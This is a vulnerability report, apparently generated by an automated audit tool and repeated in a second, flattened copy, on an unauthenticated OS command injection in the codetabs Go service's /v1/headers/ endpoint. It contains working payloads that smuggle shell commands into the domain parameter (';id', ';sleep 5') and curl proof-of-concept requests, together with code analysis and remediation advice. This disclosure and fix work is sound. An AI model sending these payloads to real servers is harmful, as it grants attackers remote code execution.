Vulnerability Report: codetabs /v1/headers/ OS Command Injection Leading to Remote Code Execution
Vulnerability Submission Assessment
Vulnerability Chain Exists: Yes
Submission Verdict
| Attribute |
Value |
| Vulnerability Type |
A03:2021-Injection / OS Command Injection |
| Exploitation Method |
Unauthenticated |
| CVSS 3.1 |
9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Should Submit |
Yes |
Rationale
Details
This vulnerability resides in the publicly exposed /v1/headers/ endpoint. An attacker can submit the domain parameter without authentication. The parameter value is read via r.Form.Get("domain"), directly concatenated into the command string curl -fsSI + domain, and ultimately passed to exec.Command("sh", "-c", comm).CombinedOutput(). Because a shell interpreter layer is present, an attacker can exploit metacharacters such as ;, |, &&, $(), and backticks to inject arbitrary system commands, gaining remote code execution capability.
Next Steps
Continue generating the complete vulnerability report.
1. Product Overview
codetabs is a lightweight HTTP service written in Go that provides multiple public API endpoints, including Alexa ranking, geolocation, HTTP header fetching, weather, random numbers, proxy, and more. The target vulnerability resides in the publicly accessible HTTP header query endpoint, where the server invokes the system curl command to fetch response headers from a specified site.
2. Vulnerability Description
| Attribute |
Value |
| Vulnerability Type |
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |
| CVSS 3.1 |
9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Vulnerable Files |
project/codetabs/headers/headers.go / project/codetabs/_utils/utils.go |
| Prerequisites |
No authentication required; the service runtime environment must have access to sh and curl |
| Entry Point |
Unauthenticated public endpoint GET /v1/headers/?domain=<payload> |
- Core impact: An attacker can inject arbitrary shell commands via the
domain parameter to execute system commands directly on the server.
- Environmental constraints: The service deployment environment must have
sh and curl available, which is the default execution prerequisite for this program's current implementation.
- Trigger conditions (default values): The default code path already satisfies the conditions — the endpoint is publicly exposed and the parameter is unfiltered.
3. Scope of Impact
- Affected versions: The issue exists in the currently audited version of the
project/codetabs codebase.
- Unaffected versions: No patched version has been identified.
- Trigger conditions and defaults:
4. Vulnerability Details
4.1 Code Audit Analysis
Entry Point
Route registration location:
Middleware logic:
mw() only performs additional ban checks for the proxy service
- The
headers service only logs access counts; no authentication or input validation is performed
Parameter Retrieval
In headers.Router:
r.ParseForm()
hr.domain = r.Form.Get("domain")
if hr.domain == "" || len(path) != 2 {
u.BadRequest(w, r)
return
}
hr.doHeadersRequest(w, r)
The issues are:
domain comes entirely from the user request
- No domain format validation
- No URL parsing or normalization
- No shell escaping
- No parameterized execution
Dangerous Concatenation
In doHeadersRequest():
const curl = "curl -fsSI "
rawData, err := u.GenericCommandSH(curl + hr.domain)
This directly appends the user-supplied domain to the end of the command string.
If domain is example.com;id, the resulting command string is:
curl -fsSI example.com;id
Dangerous Execution
In GenericCommandSH():
chunk, err = exec.Command("sh", "-c", comm).CombinedOutput()
This implementation explicitly passes the entire string to the shell for interpretation and execution.
Therefore, the following metacharacters can all be exploited:
The attack chain is:
HTTP Request -> domain parameter -> string concatenation -> sh -c -> shell parses metacharacters -> arbitrary command execution
4.2 PoC Construction Approach
The target endpoint is a public GET endpoint, and the most easily exploitable parameter is domain. This parameter is intended to represent a target hostname or URL, but in the implementation it is treated as a raw shell fragment and directly concatenated after the curl command. Since the backend does not use the safe argument array form of exec.Command() but instead starts a shell via "sh", "-c", simply appending shell metacharacters after domain is sufficient to break out of the original command and execute additional system commands.
Recommended PoC approaches that do not rely on response body output:
- Time-based blind injection:
domain=example.com;ping -c 3 127.0.0.1
- Command with output:
domain=example.com;id
- Marker output:
domain=example.com;echo CODETABS_RCE_TEST
If the deployment environment is Linux, id, whoami, and uname -a are all valid verification commands.
If the target has limited response body output, response time variation can be used to verify whether the injected command was executed.
5. Proof of Concept Reproduction
5.1 Environment Setup
- Target:
codetabs currently audited codebase
- Entry endpoint:
GET /v1/headers/?domain=
- Runtime requirements:
sh and curl must be present on the server
- Reproduction method: Send HTTP requests directly
- Screenshots: Per requirements, this report does not include screenshots
5.2 Reproduction Steps
Step 1: Access the normal endpoint to confirm the feature exists
Request:
GET /v1/headers/?domain=codetabs.com
The endpoint attempts to fetch response headers from the target site, confirming the feature is functional and the domain parameter is user-controllable.
Step 2: Construct a command concatenation payload
Replace the domain parameter with a value containing shell metacharacters, for example:
GET /v1/headers/?domain=codetabs.com;id
The server-side execution logic is then equivalent to:
curl -fsSI codetabs.com;id
Since the backend executes the entire command through a shell, ;id is treated as a new system command and executed.
Step 3: Verify command execution via response content or timing characteristics
- If the application returns command output in the response, strings like
uid= and gid= will be visible directly in the response
- If output is limited, use a timing-based command instead:
GET /v1/headers/?domain=codetabs.com;sleep 5
If the endpoint response time increases significantly, it proves that the server executed the injected command.
5.3 Result Verification
| Verification Item |
Result |
Is domain user-controllable |
Yes, read directly from query parameters |
| Is there input validation |
No, only an empty-value check is performed |
| Is the command string directly concatenated |
Yes, see curl + hr.domain |
| Is execution performed through a shell |
Yes, see exec.Command("sh", "-c", comm) |
| Can shell metacharacters be inserted to execute additional commands |
Yes, leads to arbitrary command execution |
| Final vulnerability impact |
Remote Code Execution (RCE) |
5.4 Attack Chain Diagram
Attacker
-> Request /v1/headers/?domain=codetabs.com;id
-> Server reads domain parameter
-> Concatenates command "curl -fsSI " + domain
-> Executes via sh -c
-> Shell parses ;id
-> Server executes arbitrary system command
-> RCE ✓
6. PoC
Two PoCs are provided below: one in intuitive curl form and one in Python for ease of testing.
6.1 curl PoC
curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;id"
Time-based blind injection verification:
curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;sleep 5"
6.2 Python PoC
Corresponding script file:
Script features:
- Supports customizable target address
- Supports output-based command verification
- Supports time-based blind injection verification
- Only sends HTTP requests; does not rely on local shell concatenation
7. Remediation Recommendations
Recommendation 1: Prohibit executing external commands through a shell
The current dangerous point is that GenericCommandSH() uses "sh", "-c".
This should be changed to parameterized execution so that user input never enters the shell interpreter.
Unsafe example:
exec.Command("sh", "-c", "curl -fsSI " + userInput)
Safer example:
cmd := exec.Command("curl", "-fsSI", userInput)
out, err := cmd.CombinedOutput()
Recommendation 2: Apply strict whitelist validation on domain
Only allow valid domain names or URLs, and reject any input containing the following characters:
Recommended approach using standard library parsing and validation:
net/url
- Regular expressions or dedicated hostname validation logic
Recommendation 3: Restrict protocols and target scope
If the business only requires querying HTTP/HTTPS site response headers, the following should be enforced:
- Allow only
http:// and https://
- Validate the hostname after parsing with a whitelist or minimal restrictions
- Block local addresses, internal network addresses, and loopback addresses to prevent further escalation to SSRF
Recommendation 4: Remove dependency on external curl
It is strongly recommended to use Go's native HTTP client to send HEAD requests instead of invoking system commands:
client := &http.Client{}
req, err := http.NewRequest("HEAD", targetURL, nil)
if err != nil {
return err
}
resp, err := client.Do(req)
This eliminates the shell injection attack surface at its root.
Recommendation 5: Add security monitoring
- Establish log alerts for inputs containing anomalous characters
- Implement rate limiting and risk control for high-frequency failed requests
- Conduct a unified audit of all code paths that execute external processes
- Add unit tests covering command injection scenarios
8. Conclusion
This vulnerability is a real unauthenticated OS command injection vulnerability.
User input domain enters at project/codetabs/headers/headers.go:35, is directly concatenated at project/codetabs/headers/headers.go:55, and is then handed to the shell for execution by project/codetabs/_utils/utils.go:42. An attacker can use shell metacharacters to inject arbitrary commands, ultimately gaining remote code execution capability on the server. This is a Critical severity vulnerability that should be patched immediately.
Vulnerability Report: codetabs /v1/headers/ OS Command Injection Leading to Remote Code Execution
Vulnerability Submission Assessment
Vulnerability Chain Exists: Yes
Submission Verdict
Rationale
A03 — InjectionruleOS Command Injection / RCE | Unconditional Submission, this vulnerability falls under the unconditional submission category.Execute commands on server → Submit (Critical), this vulnerability can directly lead to server command execution and is rated as Critical severity.RCE / Command Injection | Unauthenticated | Critical | Submit, this vulnerability must be submitted even in unauthenticated scenarios.Details
This vulnerability resides in the publicly exposed
/v1/headers/endpoint. An attacker can submit thedomainparameter without authentication. The parameter value is read viar.Form.Get("domain"), directly concatenated into the command stringcurl -fsSI+domain, and ultimately passed toexec.Command("sh", "-c", comm).CombinedOutput(). Because a shell interpreter layer is present, an attacker can exploit metacharacters such as;,|,&&,$(), and backticks to inject arbitrary system commands, gaining remote code execution capability.Next Steps
Continue generating the complete vulnerability report.
1. Product Overview
codetabsis a lightweight HTTP service written in Go that provides multiple public API endpoints, including Alexa ranking, geolocation, HTTP header fetching, weather, random numbers, proxy, and more. The target vulnerability resides in the publicly accessible HTTP header query endpoint, where the server invokes the systemcurlcommand to fetch response headers from a specified site.2. Vulnerability Description
project/codetabs/headers/headers.go/project/codetabs/_utils/utils.goshandcurlGET /v1/headers/?domain=<payload>domainparameter to execute system commands directly on the server.shandcurlavailable, which is the default execution prerequisite for this program's current implementation.3. Scope of Impact
project/codetabscodebase./v1/headers/is registered by defaultmw()does not perform authentication or input filtering for theheadersservicedomainparameter only undergoes an empty-value check atproject/codetabs/headers/headers.go:36project/codetabs/_utils/utils.go:424. Vulnerability Details
4.1 Code Audit Analysis
Entry Point
Route registration location:
mux.HandleFunc("/v1/headers/", mw(headers.Router, "headers", c))Middleware logic:
mw()only performs additional ban checks for theproxyserviceheadersservice only logs access counts; no authentication or input validation is performedParameter Retrieval
In
headers.Router:The issues are:
domaincomes entirely from the user requestDangerous Concatenation
In
doHeadersRequest():This directly appends the user-supplied
domainto the end of the command string.If
domainisexample.com;id, the resulting command string is:curl -fsSI example.com;idDangerous Execution
In
GenericCommandSH():This implementation explicitly passes the entire string to the shell for interpretation and execution.
Therefore, the following metacharacters can all be exploited:
;&&|$()The attack chain is:
4.2 PoC Construction Approach
The target endpoint is a public GET endpoint, and the most easily exploitable parameter is
domain. This parameter is intended to represent a target hostname or URL, but in the implementation it is treated as a raw shell fragment and directly concatenated after thecurlcommand. Since the backend does not use the safe argument array form ofexec.Command()but instead starts a shell via"sh", "-c", simply appending shell metacharacters afterdomainis sufficient to break out of the original command and execute additional system commands.Recommended PoC approaches that do not rely on response body output:
domain=example.com;ping -c 3 127.0.0.1domain=example.com;iddomain=example.com;echo CODETABS_RCE_TESTIf the deployment environment is Linux,
id,whoami, anduname -aare all valid verification commands.If the target has limited response body output, response time variation can be used to verify whether the injected command was executed.
5. Proof of Concept Reproduction
5.1 Environment Setup
codetabscurrently audited codebaseGET /v1/headers/?domain=shandcurlmust be present on the server5.2 Reproduction Steps
Step 1: Access the normal endpoint to confirm the feature exists
Request:
The endpoint attempts to fetch response headers from the target site, confirming the feature is functional and the
domainparameter is user-controllable.Step 2: Construct a command concatenation payload
Replace the
domainparameter with a value containing shell metacharacters, for example:The server-side execution logic is then equivalent to:
curl -fsSI codetabs.com;idSince the backend executes the entire command through a shell,
;idis treated as a new system command and executed.Step 3: Verify command execution via response content or timing characteristics
uid=andgid=will be visible directly in the responseIf the endpoint response time increases significantly, it proves that the server executed the injected command.
5.3 Result Verification
domainuser-controllablecurl + hr.domainexec.Command("sh", "-c", comm)5.4 Attack Chain Diagram
6. PoC
Two PoCs are provided below: one in intuitive curl form and one in Python for ease of testing.
6.1 curl PoC
curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;id"Time-based blind injection verification:
curl "http://127.0.0.1:8080/v1/headers/?domain=codetabs.com;sleep 5"6.2 Python PoC
Corresponding script file:
report/codetabs_OS命令注入RCE/poc_codetabs_headers_rce.pyScript features:
7. Remediation Recommendations
Recommendation 1: Prohibit executing external commands through a shell
The current dangerous point is that
GenericCommandSH()uses"sh", "-c".This should be changed to parameterized execution so that user input never enters the shell interpreter.
Unsafe example:
Safer example:
Recommendation 2: Apply strict whitelist validation on
domainOnly allow valid domain names or URLs, and reject any input containing the following characters:
;&|`$()<>Recommended approach using standard library parsing and validation:
net/urlRecommendation 3: Restrict protocols and target scope
If the business only requires querying HTTP/HTTPS site response headers, the following should be enforced:
http://andhttps://Recommendation 4: Remove dependency on external
curlIt is strongly recommended to use Go's native HTTP client to send HEAD requests instead of invoking system commands:
This eliminates the shell injection attack surface at its root.
Recommendation 5: Add security monitoring
8. Conclusion
This vulnerability is a real unauthenticated OS command injection vulnerability.
User input
domainenters atproject/codetabs/headers/headers.go:35, is directly concatenated atproject/codetabs/headers/headers.go:55, and is then handed to the shell for execution byproject/codetabs/_utils/utils.go:42. An attacker can use shell metacharacters to inject arbitrary commands, ultimately gaining remote code execution capability on the server. This is a Critical severity vulnerability that should be patched immediately.